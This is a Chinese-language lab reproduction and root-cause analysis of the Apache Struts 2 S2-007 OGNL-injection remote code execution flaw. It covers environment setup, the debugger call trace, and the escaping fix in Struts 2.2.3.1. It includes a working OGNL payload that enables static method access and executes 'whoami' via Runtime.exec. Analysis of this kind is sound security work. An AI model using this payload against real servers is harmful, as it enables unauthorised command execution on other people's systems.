S2-007复现分析
一、漏洞信息
漏洞信息页面:
S2-007 - Apache Struts 2 Wiki - Apache Software Foundation
漏洞类型:
RCE(远程代码执行)
受影响组件:
Struts 2.0.0 - Struts 2.2.3
漏洞成因:
当配置了验证规则,类型转换出错时,进行了错误的字符串拼接,进而造成了OGNL语句的执行。
二、环境搭建
IDE:Eclipse IDE for Enterprise Java and Web Developers
Java:JDK1.8
Tomcat:8.5.75
Struts:2.2.3(https://github.com/vulhub/vulhub/struts/s2-007)
三、漏洞利用
UserAction-validation.xml中配置了age为int类型,范围为1-150。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>
访问http://localhost:8080/S2-007/index.jsp,age处输入'+(#application)+'
application为com.opensymphony.xwork2.ActionContext中的string常量
点击submit,返回了web应用的相关信息
执行任意命令
' + (#_memberAccess["allowStaticMethodAccess"]=true,#context["xwork.MethodAccessor.denyMethodExecution"]=false,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
官方通过增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.den
yMethodExecution)来禁止执行方法。通过设置allowStaticMethodAccess
为true,和denyMethodExecution
为false,从而导致任意命令执行。
四、漏洞分析
在com.opensymphony.xwork2.interceptor.PrepareInterceptor.class的doIntercept()方法下断点,调试程序
跟进到ConversionErrorInterceptor.class,函数调用栈如下
获取到age以及age对应的value ' +(#application)+ '
跟踪到fakie.put,步入getOverrideExpr
在getOverrideExpr中,value ' +(#application)+ '
左右两边被添加了'
fakie变为{age='' +(#application)+ ''}
跟踪invocation.invoke(),最后在tryFindValue中调用getValue执行OGNL表达式
完整函数调用栈如下
五、漏洞修复
在Struts 2.2.3.1中官方修改了getOverrideExpr函数,对输入进行了转义,后续过程中只会作为字符串解析。
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
return escape(value);
}
protected String escape(Object value) {
return "\"" + StringEscapeUtils.escapeJava(String.valueOf(value)) + "\"";
}